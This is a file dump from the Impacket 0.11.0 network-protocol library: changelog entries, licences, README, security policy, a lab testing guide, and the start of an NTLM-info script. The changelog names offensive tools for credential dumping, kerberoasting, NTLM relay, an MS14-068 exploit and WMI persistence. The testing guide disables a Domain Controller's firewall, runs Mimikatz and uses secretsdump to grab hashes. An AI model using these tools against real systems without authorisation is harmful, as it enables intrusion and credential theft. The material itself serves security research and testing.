for Win2016 TP4 in LOCAL or `-use-vss` mode * Adding `-just-dc-user` switch to download just a single user data (DRSUAPI mode only) * Support for different ReplEpoch (DRSUAPI only) * pwdLastSet is also included in the output file * New structures/flags added for 2016 TP5 PAM support * `wmiquery.py`: * Adding `-rpc-auth-level` switch (by @gadio) * `smbrelayx.py`: * Added option to specify authentication status code to be sent to requesting client (by @mgeeky) * Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol) 3. New Examples * `GetUserSPNs.py`: This module will try to find Service Principal Names that are associated with normal user account. This is part of the kerberoast attack researched by Tim Medin (@timmedin) * `ntlmrelayx.py`: `smbrelayx.py` on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc) (by @dirkjanm) ## Impacket v0.9.14 (January 2016): 1. Library improvements * `[MS-TSCH]` - ATSVC, SASec and ITaskSchedulerService Interface implementations * `[MS-DRSR]` - Directory Replication Service DRSUAPI Interface implementation * Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved * Unicode support (optional) for the SMBv1 stack (by @rdubourguais) * NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie) * Kerberos support for TDS (MSSQL) * Extended present flags support on RadioTap class * Old DCERPC runtime code removed 2. Examples improvements * `mssqlclient.py`: * Added Kerberos authentication support * `atexec.py`: * It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2 * `smbrelayx.py`: * If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default * Added -c option to execute custom commands in the target (by @byt3bl33d3r) * `secretsdump.py`: * Active Directory hashes/Kerberos keys are dumped using `[MS-DRSR]` (`IDL_DRSGetNCChanges` method) by default. VSS method is still available by using the -use-vss switch * Added `-just-dc` (Extract only NTDS.DIT NTLM Hashes and Kerberos) and `-just-dc-ntlm` (only NTDS.DIT NTLM Hashes) options * Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops. Use `-resumefile` option. * Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump (`[MS-SAMR]` `3.1.1.8.11.5`) * Add support for multiple password encryption keys (PEK) (by @s0crat) * `goldenPac.py`: * Tests all DCs in domain and adding forest's enterprise admin group inside PAC 3. New examples * `raiseChild.py`: Child domain to forest privilege escalation exploit. Implements a child-domain to forest privilegeescalation as [detailed by Sean Metcalf](https://adsecurity.org/?p=1640). * `netview.py`: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix) ## Impacket v0.9.13 (May 2015): 1. Library improvements * Kerberos support for SMB and DCERPC featuring: * `kerberosLogin()` added to SMBConnection (all SMB versions). * Support for `RPC_C_AUTHN_GSS_NEGOTIATE` at the DCERPC layer. This will negotiate Kerberos. This also includes DCOM. * Pass-the-hash, pass-the-ticket and pass-the-key support. * Ccache support, compatible with Kerberos utilities (kinit, klist, etc). * Support for `RC4`, `AES128_CTS_HMAC_SHA1_96` and `AES256_CTS_HMAC_SHA1_96` ciphers. * Support for `RPC_C_AUTHN_LEVEL_PKT_PRIVACY`/`RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`. * `[MS-SAMR]`: Supplemental Credentials support (used by secretsdump.py) * SMBSERVER improvements: * SMB2 (2.002) dialect experimental support. * Adding capability to export to John The Ripper format files * Library logging overhaul. Now there's a single logger called `impacket`. 2. Examples improvements * Added Kerberos support to all modules (incl. pass-the-ticket/key) * Ported most of the modules to the new dcerpc.v5 runtime. * `secretsdump.py`: * Added dumping Kerberos keys when parsing NTDS.DIT * `smbserver.py`: * Support for SMB2 (not enabled by default) * `smbrelayx.py`: * Added support for MS15-027 exploitation. 3. New examples * `goldenPac.py`: MS14-068 exploit. Saves the golden ticket and also launches a psexec session at the target. * `karmaSMB.py`: SMB Server that answers specific file contents regardless of the SMB share and pathname requested. * `wmipersist.py`: Creates persistence over WMI. Adds/Removes WMI Event Consumers/Filters to execute VBS based on a WQL filter or timer specified. ## Impacket v0.9.12 (July 2014): 1. Library improvements * The following protocols were added based on its standard definition * `[MS-DCOM]` - Distributed Component Object module Protocol (`dcom.py`) * `[MS-OAUT]` - OLE Automation Protocol (`dcom/oaut.py`) * `[MS-WMI]`/`[MS-WMIO]` : Windows Management Instrumentation Remote Protocol (`dcom/wmi.py`) 2. New examples * `wmiquery.py`: executes WMI queries and get WMI object's descriptions. * `wmiexec.py`: agent-less, semi-interactive shell using WMI. * `smbserver.py`: quick an easy way to share files using the SMB protocol. ## Impacket v0.9.11 (February 2014): 1. Library improvements * New RPC and NDR runtime (located at `impacket.dcerpc.v5`, old one still available) * Support marshaling/unmarshaling for NDR20 and NDR64 (experimental) * Support for `RPC_C_AUTHN_NETLOGON` (experimental) * The following interface were developed based on its standard definition: * `[MS-LSAD]` - Local Security Authority (Domain Policy) Remote Protocol (lsad.py) * `[MS-LSAT]` - Local Security Authority (Translation Methods) Remote Protocol (lsat.py) * `[MS-NRPC]` - Netlogon Remote Protocol (nrpc.py) * `[MS-RRP]` - Windows Remote Registry Protocol (rrp.py) * `[MS-SAMR]` - Security Account Manager (SAM) Remote Protocol (samr.py) * `[MS-SCMR]` - Service Control Manager Remote Protocol (scmr.py) * `[MS-SRVS]` - Server Service Remote Protocol (srvs.py) * `[MS-WKST]` - Workstation Service Remote Protocol (wkst.py) * `[MS-RPCE]-C706` - Remote Procedure Call Protocol Extensions (epm.py) * `[MS-DTYP]` - Windows Data Types (dtypes.py) * Most of the DCE Calls have helper functions for easier use. Test cases added for all calls (check the test cases directory) * ESE parser (Extensive Storage Engine) (ese.py) * Windows Registry parser (winregistry.py) * TDS protocol now supports SSL, can be used from mssqlclient * Support for EAPOL, EAP and WPS decoders * VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi 2. New examples * `rdp_check.py`: tests whether an account (pwd or hashes) is valid against an RDP server * `esentutl.py`: ESE example to show how to interact with ESE databases (e.g. NTDS.dit) * `ntfs-read.py`: mini shell for browsing an NTFS volume * `registry-read.py`: Windows offline registry reader * `secretsdump.py`: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS) ## Impacket v0.9.10 (March 2013): 1. Library improvements * SMB version 2 and 3 protocol support (`[MS-SMB2]`). Signing supported, encryption for SMB3 still pending. * Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and SMB version independent. It will pick the best SMB Version when connecting against the target. Check `smbconnection.py` for a list of available methods across all the protocols. * Partial TDS implementation (`[MS-TDS]` & `[MC-SQLR]`) so we could talk with MSSQL Servers. * Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server. * DCERPC Endpoints' new calls * EPM: `lookup()`: It can work as a general portmapper, or just to find specific interfaces/objects. 2. New examples * `mssqlclient.py`: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives you an SQL prompt for your pleasure. * `mssqlinstance.py`: Lists the MS SQL instances running on a target machine. * `rpcdump.py`: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to develop new functionality to interact against a target interface. * `smbexec.py`: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the technique described at https://www.optiv.com/blog/owning-computers-without-shell-access. It also supports instantiating a local smbserver to receive the output of the commandos executed for those situations where no share is available on the other end. * `smbrelayx.py`: It now also listens on port 80 and forwards/reflects the credentials accordingly. And finally tons of fixes :). ## Impacket v0.9.9 (July 2012): 1. Library improvements * Added 802.11 packets encoding/decoding * Addition of support for IP6, ICMP6 and NDP packets. Addition of `IP6_Address` helper class. * SMB/DCERPC: * GSS-API/SPNEGO Support. * SPN support in auth blob. * NTLM2 and NTLMv2 support. * Default SMB port now 445. If `*SMBSERVER` is specified the library will try to resolve the netbios name. * Pass the hash supported for SMB/DCE-RPC. * IPv6 support for SMB/NMB/DCERPC. * DOMAIN support for authentication. * SMB signing support when server enforces it. * DCERPC signing/sealing for all NTLM flavours. * DCERPC transport now accepts an already established SMB connection. * Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by forwarding named pipes requests). * Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoid Windows 7 nasty bug when that pipe's not functional. * DCERPC Endpoints' new calls: * `SRVSVC`: `NetrShareEnum(Level1)`, `NetrShareGetInfo(Level2)`, `NetrServerGetInfo(Level2)`, `NetrRemoteTOD()`, `NetprNameCanonicalize()`. * `SVCCTL`: `CloseServiceHandle()`, `OpenSCManagerW()`, `CreateServiceW()`, `StartServiceW()`, `OpenServiceW()`, `OpenServiceA()`, `StopService()`, `DeleteService()`, `EnumServicesStatusW()`, `QueryServiceStatus()`, `QueryServiceConfigW()`. * `WKSSVC`: `NetrWkstaTransportEnum()`. * `SAMR`: `OpenAlias()`, `GetMembersInAlias()`. * `LSARPC`: `LsarOpenPolicy2()`, `LsarLookupSids()`, `LsarClose()`. 2. New examples * `ifmap.py`: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is listed and/or listening. * `lookupsid.py`: DCE/RPC lookup sid brute forcer example. * `opdump.py`: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first 256 operation numbers in turn and reports the outcome of each call. * `services.py`: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST). * `test_wkssvc`: DCE/RPC WKSSVC examples, playing with the functions Implemented. * `smbrelayx`: Passes credentials to a third party server when doing MiTM. * `smbserver`: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but not enforced. Tested under Windows, Linux and MacOS clients. * `smbclient.py`: now supports history, new commands also added. * `psexec.py`: Execute remote commands on Windows machines impacket-impacket_0_11_0/Dockerfile000066400000000000000000000006741446174712300174170ustar00rootroot00000000000000FROM python:3.8-alpine as compile WORKDIR /opt RUN apk add --no-cache git gcc musl-dev python3-dev libffi-dev openssl-dev cargo RUN python3 -m pip install virtualenv RUN virtualenv -p python venv ENV PATH="/opt/venv/bin:$PATH" RUN git clone --depth 1 https://github.com/fortra/impacket.git RUN python3 -m pip install impacket/ FROM python:3.8-alpine COPY --from=compile /opt/venv /opt/venv ENV PATH="/opt/venv/bin:$PATH" ENTRYPOINT ["/bin/sh"]impacket-impacket_0_11_0/LICENSE000066400000000000000000000202701446174712300164240ustar00rootroot00000000000000Licencing --------- We provide this software under a slightly modified version of the Apache Software License. The only changes to the document were the replacement of "Apache" with "Impacket" and "Apache Software Foundation" with "Fortra". Feel free to compare the resulting document to the official Apache license. The `Apache Software License' is an Open Source Initiative Approved License. The Apache Software License, Version 1.1 Modifications by Fortra (see above) Copyright (c) 2000 The Apache Software Foundation. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. The end-user documentation included with the redistribution, if any, must include the following acknowledgment: "This product includes software developed by SecureAuth Corporation (https://www.secureauth.com/) and Fortra (https://www.fortra.com)." Alternately, this acknowledgment may appear in the software itself, if and wherever such third-party acknowledgments normally appear. 4. The names "Impacket", "SecureAuth Corporation", and "Fortra" must not be used to endorse or promote products derived from this software without prior written permission. For written permission, please reach out to https://www.coresecurity.com/about/contact. 5. Products derived from this software may not be called "Impacket", nor may "Impacket" appear in their name, without prior written permission of Fortra. THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. impacket/smb.py and impacket/nmb.py are based on Pysmb by Michael Teo (https://miketeo.net/projects/pysmb/), and are distributed under the following license: This software is provided 'as-is', without any express or implied warranty. In no event will the author be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice cannot be removed or altered from any source distribution. examples/kintercept.py by Isaac Boukris (https://github.com/iboukris/S4U/) is distributed under the following license: Copyright (c) 2019 Isaac Boukris Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. impacket/examples/recomsvc.py is based on recomsvc by Talha Tariq and is distributed under the following license: Copyright (c) 2006 Talha Tariq [ talha.tariq@gmail.com ] All rights are reserved. Permission to use, copy, modify, and distribute this software for any purpose and without any fee is hereby granted, provided this notice is included in its entirety in the documentation and in the source files. This software and any related documentation is provided "as is" without any warranty of any kind, either express or implied, including, without limitation, the implied warranties of merchantability or fitness for a particular purpose. The entire risk arising out of use or performance of the software remains with you. impacket/krb5/asn1.py and impacket/krb5/types.py by Marc Horowitz are distributed under the following license: Copyright (c) 2013, Marc Horowitz All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. impacket/krb5/crypto.py by the Massachusetts Institute of Technology is distributed under the following license: Copyright (C) 2013 by the Massachusetts Institute of Technology. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. impacket-impacket_0_11_0/MANIFEST.in000066400000000000000000000003431446174712300171540ustar00rootroot00000000000000include MANIFEST.in include LICENSE include ChangeLog.md include README.md include SECURITY.md include TESTING.md include requirements.txt include tox.ini recursive-include examples tests *.txt *.py recursive-include tests * impacket-impacket_0_11_0/README.md000066400000000000000000000111141446174712300166730ustar00rootroot00000000000000Impacket ======== [![Latest Version](https://img.shields.io/pypi/v/impacket.svg)](https://pypi.python.org/pypi/impacket/) [![Build and test Impacket](https://github.com/fortra/impacket/actions/workflows/build_and_test.yml/badge.svg)](https://github.com/fortra/impacket/actions/workflows/build_and_test.yml) FORTRA. Copyright (C) 2023 Fortra. All rights reserved. Impacket was originally created by [SecureAuth](https://www.secureauth.com/labs/open-source-tools/impacket), and now maintained by Fortra's Core Security. Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself. Packets can be constructed from scratch, as well as parsed from raw data, and the object-oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library. What protocols are featured? ---------------------------- * Ethernet, Linux "Cooked" capture. * IP, TCP, UDP, ICMP, IGMP, ARP. * IPv4 and IPv6 Support. * NMB and SMB1, SMB2 and SMB3 (high-level implementations). * MSRPC version 5, over different transports: TCP, SMB/TCP, SMB/NetBIOS and HTTP. * Plain, NTLM and Kerberos authentications, using password/hashes/tickets/keys. * Portions/full implementation of the following MSRPC interfaces: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, BKRP, DHCPM, EVEN6, MGMT, SASEC, TSCH, DCOM, WMI, OXABREF, NSPI, OXNSPI. * Portions of TDS (MSSQL) and LDAP protocol implementations. Maintainer ========== [Core Security](https://www.coresecurity.com/) Table of Contents ================= * [Getting Impacket](#getting-impacket) * [Setup](#setup) * [Testing](#testing) * [Licensing](#licensing) * [Disclaimer](#disclaimer) * [Contact Us](#contact-us) Getting Impacket ================ ### Latest version * Impacket v0.11.0 [![Python versions](https://img.shields.io/pypi/pyversions/impacket.svg)](https://pypi.python.org/pypi/impacket/) [Current and past releases](https://github.com/fortra/impacket/releases) ### Development version * Impacket v0.12.0-dev (**[master branch](https://github.com/fortra/impacket/tree/master)**) [![Python versions](https://img.shields.io/badge/python-3.6%20|%203.7%20|%203.8%20|%203.9%20|%203.10-blue.svg)](https://github.com/fortra/impacket/tree/master) Setup ===== ### Quick start > :information_source: We recommend using `pipx` over `pip` for system-wide installations. In order to grab the latest stable release run: python3 -m pipx install impacket If you want to play with the unreleased changes, download the development version from the [master branch](https://github.com/fortra/impacket/tree/master), extract the package, and execute the following command from the directory where Impacket has been unpacked: python3 -m pipx install . ### Docker Support Build Impacket's image: $ docker build -t "impacket:latest" . Using Impacket's image: $ docker run -it --rm "impacket:latest" Testing ======= The library leverages the [pytest](https://docs.pytest.org/) framework for organizing and marking test cases, [tox](https://tox.readthedocs.io/) to automate the process of running them across supported Python versions, and [coverage](https://coverage.readthedocs.io/) to obtain coverage statistics. A [comprehensive testing guide](TESTING.md) is available. Licensing ========= This software is provided under a slightly modified version of the Apache Software License. See the accompanying [LICENSE](LICENSE) file for more information. SMBv1 and NetBIOS support based on Pysmb by Michael Teo. Disclaimer ========== The spirit of this Open Source initiative is to help security researchers, and the community, speed up research and educational activities related to the implementation of networking protocols and stacks. The information in this repository is for research and educational purposes and not meant to be used in production environments and/or as part of commercial products. If you desire to use this code or some part of it for your own uses, we recommend applying proper security development life cycle and secure coding practices, as well as generate and track the respective indicators of compromise according to your needs. Contact Us ========== Whether you want to report a bug, send a patch, or give some suggestions on this package, reach out to us at https://www.coresecurity.com/about/contact. For security-related questions check our [security policy](SECURITY.md). impacket-impacket_0_11_0/SECURITY.md000066400000000000000000000005001446174712300172020ustar00rootroot00000000000000Security Policy =============== Although this initiative is not meant to be used in productive environments, if you consider that you have identified an issue that might affect the security of its users, or you understand that the tool is being abused, you can contact us at https://www.coresecurity.com/about/contact. impacket-impacket_0_11_0/TESTING.md000066400000000000000000000250201446174712300170540ustar00rootroot00000000000000Testing ======= The library leverages the [pytest](https://docs.pytest.org/) framework for organizing and marking test cases, [tox](https://tox.readthedocs.io/) to automate the process of running them across supported Python versions, and [coverage](https://coverage.readthedocs.io/) to obtain coverage statistics. Test environment setup ---------------------- Some test cases are "local", meaning that don't require a target environment and can be run off-line, while the bulk of the test cases are "remote" and requires some prior setup. If you want to run the full set of library test cases, you need to prepare your environment by completing the following steps: 1. Install testing requirements. You can use the following command to do so: python3 -m pip install tox -r requirements-test.txt 1. [Install and configure a target Active Directory Domain Controller](#active-directory-setup-and-configuration). 1. [Configure remote test cases](#configure-remote-test-cases). > **Important note** > > Bear in mind that some remote tests are not idempotent, that means that they perform > changes on the target environment and the results of the tests depends on that. As an > example, some tests require the creation/modification/deletion of user accounts. If those > tests fail at some point during the process, user accounts might lay down there and > subsequent tests might fail when trying to create the user account. We recommend taking > snapshots of the target environment that can be then rolled back after a testing session. Running tests ------------- Once that's done, you would be able to run the test suite with `pytest`. For example, you can run all "local" test cases using the following command: $ pytest -m "not remote" Or run the "remote" test cases with the following command: $ pytest -m "remote" If all goes well, all test cases should pass. You can also leverage `pytest` [markers](https://docs.pytest.org/en/4.6.x/example/markers.html) or [keyword expressions](https://docs.pytest.org/en/4.6.x/usage.html#select-tests) to select which test case you want to run. Although we recommend using `pytest`, it's also possible to run individual test case modules via `unittest.main` method. For example, to only run `ldap` test cases, you can execute: $ pytest -k "ldap" Automating runs --------------- If you want to run the test cases in a new fresh environment, or run those across different Python versions, you can use `tox`. You can specify the group of test cases you want to run, which would be passed to `pytest`. As an example, the following command will run all "local" test cases across all the Python versions defined in the `tox` configuration: $ tox -- -m "not remote" Coverage -------- If you want to measure coverage in your test cases run, you can use it via the `pytest-cov` plugin, for example by running the following command: $ pytest --cov --cov-config=tox.ini `tox` will collect and report coverage statistics as well, and combine it across different Python version environment runs. You will have a coverage HTML report located at the default `Coverage`'s location `htlmcov/index.html`. Configuration ------------- Configuration of all `pytest`, `coverage` and `tox` is contained in the [tox.ini](tox.ini) file. Refer to each tool documentation for further details about the different settings. Active Directory Setup and Configuration ---------------------------------------- In order to run remote test cases, a target Active Directory need to be properly configured with the expected objects. Current remote test cases are expected to work against a Windows Server 2012 R2 Domain Controller. The following are the main steps required: 1. Make sure to disable the firewall on the interface you want to use for connecting to the Domain Controller. PS C:\> Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False 1. Install the Active Directory Domain Services on the target server. PS C:\> Install-WindowsFeature -name AD-Domain-Services -IncludeManagementTools 1. Make sure the server's Administrator user password meet the complexity policy, as it's required for promoting it to Domain Controller. PS C:\> $AdminPassword = "" PS C:\> $Admin=[adsi]("WinNT://$env:COMPUTERNAME/Administrator, user") PS C:\> $Admin.psbase.invoke("setpassword", $AdminPassword) 1. Promote the installed Windows Server 2012 R2 to a Domain Controller, and configure a domain of your choice. PS C:\> $DomainName = "" PS C:\> $NetBIOSName = "" PS C:\> $RecoveryPassword = "" PS C:\> $SecureRecoveryPassword = ConvertTo-SecureString $RecoveryPassword -AsPlainText -Force PS C:\> Install-ADDSForest -DomainName $DomainName -InstallDns -SafeModeAdministratorPassword $SecureRecoveryPassword -DomainNetbiosName $NetBIOSName -SkipPreChecks 1. Install DHCP services on the target Domain Controller. PS C:\> Install-WindowsFeature -name DHCP -IncludeManagementTools 1. Create the DHCP administration groups and authorize the server. PS C:\> netsh dhcp add securitygroups PS C:\> Restart-Service dhcpserver PS C:\> Add-DhcpServerInDC -DnsName -IPAddress PS C:\> $Credential = Get-Credential PS C:\> Set-DhcpServerDnsCredential -Credential $Credential -ComputerName 1. Be sure to enable and run the `RemoteRegistry` service on the target Domain Controller. PS C:\> Start-Service RemoteRegistry 1. Create a Domain User with administrative rights. This is the user that will be used to run the remote tests. We make sure to enable AES Kerberos encryption type and add it to the Domain Admins group. PS C:\> $AdminUserName = "" PS C:\> $AdminAccountName = "" PS C:\> $AdminUserPassword = "" PS C:\> $SecureAdminUserPassword = ConvertTo-SecureString $AdminUserPassword -AsPlainText -Force PS C:\> New-ADUser -Name $AdminUserName -SamAccountName $AdminAccountName -UserPrincipalName $AdminAccountName@$DomainName -AccountPassword $SecureAdminUserPassword -Enabled $true -ChangePasswordAtLogon $false -KerberosEncryptionType RC4,AES128,AES256 PS C:\> Add-ADGroupMember -Identity "Domain Admins" -Members ### LDAPS (LDAP over SSL/TLS) configuration For running LDAPS (LDAP over SSL/TLS) test cases, make sure you have a certificate installed and configured on the target Domain Controller. You can follow Microsoft's [guidelines to configure LDAPS](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority). You can use self-signed certificates by: 1. Create a CA private key and certificate: $ openssl genrsa -aes256 -out ca_private.key 4096 $ openssl req -new -x509 -days 3650 -key ca_private.key -out ca_public.crt 1. Copying and importing the CA public certificate into the Domain Controller server: PS C:\> Import-Certificate -FilePath ca_public.crt -CertStoreLocation 'Cert:\LocalMachine\Root' -Verbose 1. Creating a certificate request for the LDAP service, by editing the following configuration file: ;----------------- request.inf ----------------- [Version] Signature="$Windows NT$ [NewRequest] Subject = "CN=" ; replace with the FQDN of the DC KeySpec = 1 KeyLength = 1024 Exportable = TRUE MachineKeySet = TRUE SMIME = False PrivateKeyArchive = FALSE UserProtected = FALSE UseExistingKeySet = FALSE ProviderName = "Microsoft RSA SChannel Cryptographic Provider" ProviderType = 12 RequestType = PKCS10 KeyUsage = 0xa0 [EnhancedKeyUsageExtension] OID=1.3.6.1.5.5.7.3.1 ; this is for Server Authentication ;----------------------------------------------- And then running the following command: PS C:\> certreq -new request.inf ldapcert.csr 1. Signing the LDAP service certificate with the CA, by creating the `v3ext.txt` configuration file: keyUsage=digitalSignature,keyEncipherment extendedKeyUsage=serverAuth subjectKeyIdentifier=hash And running the following command: $ openssl x509 -req -days 365 -in ldapcert.csr -CA ca_public.crt -CAkey ca_private.key -extfile v3ext.txt -set_serial 01 -out ldapcert.crt 1. Copying and installing the new signed LDAP service certificate into the Domain Controller server: PS C:\> certreq -accept ldapcert.crt 1. Finally, restarting the Domain Controller. ### Mimilib configuration [Mimilib](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib) test cases require the service to be installed on the target Domain Controller. You can do that by running Mimikatz with an elevated user and executing: mimikatz # rpc::server Configure Remote Test Cases --------------------------- Create a copy of the [dcetest.cfg.template](tests/dcetests.cfg.template) file and configure it with the necessary information associated to the Active Directory you configured. Path to the configuration file to use when running tests can be then specified in the following ways: * Using the pytest `--remote-config` command-line option. * Using the pytest `remote-config` option in `tox.ini`. * Using the `REMOTE_CONFIG` environment variable. * Default to loading from `tests/dcetests.cg`. For example, you can keep configuration of different environments in separate files, and specify which one you want the test to run against: $ pytest --remote-config=tests/dcetests-win2016.cfg $ pytest --remote-config=tests/dcetests-win2019.cfg Make sure you set a user with proper administrative privileges on the target Active Directory domain and that the user hashes and keys match with those in the environment. Hashes and Kerberos keys can be grabbed from the target Domain Controller using [secretsdump.py](examples/secretsdump.py) example script. Make sure also to have full network visibility into the target hosts and be able to resolve DNS queries for the Active Directory Domain configured. If you don't want to change your test machine's DNS settings to point to the AD DNS server, you can configure your system to statically resolve (e.g. via `/etc/hosts` file) the host and domain FQDN to the server's IP address. impacket-impacket_0_11_0/examples/000077500000000000000000000000001446174712300172345ustar00rootroot00000000000000impacket-impacket_0_11_0/examples/DumpNTLMInfo.py000066400000000000000000000674171446174712300220410ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Dump remote host information in ntlm authentication model, without credentials. # For SMB protocols (1/2/3), it's easy to use SMBConnection class (thanks to @agsolino), # but since negotiate response is not available in original classes, # we made out custom classes based on them. # The usefull information in negotiate response are "Dialect Version", "Signing Options", # "Maximum bytes allowed per smb request" and "Servers time information". # The point is sometimes server dosn't include "boot time" in response. But we show it, # when available, in this script. # # It's very easy to use: # python DumpNTLMInfo.py 192.168.1.63 # # Author: # Alex Romero (@NtAlexio2) # # Reference for: # [MS-SMB2] # [MS-RPCE] # # ToDo: # [ ] MSSQL # [ ] Find new protocols using NTLM for authentication in network. # import os import sys import argparse import logging import struct import socket import math, string, random from six import indexbytes from datetime import datetime, timedelta, timezone from impacket import version from impacket import 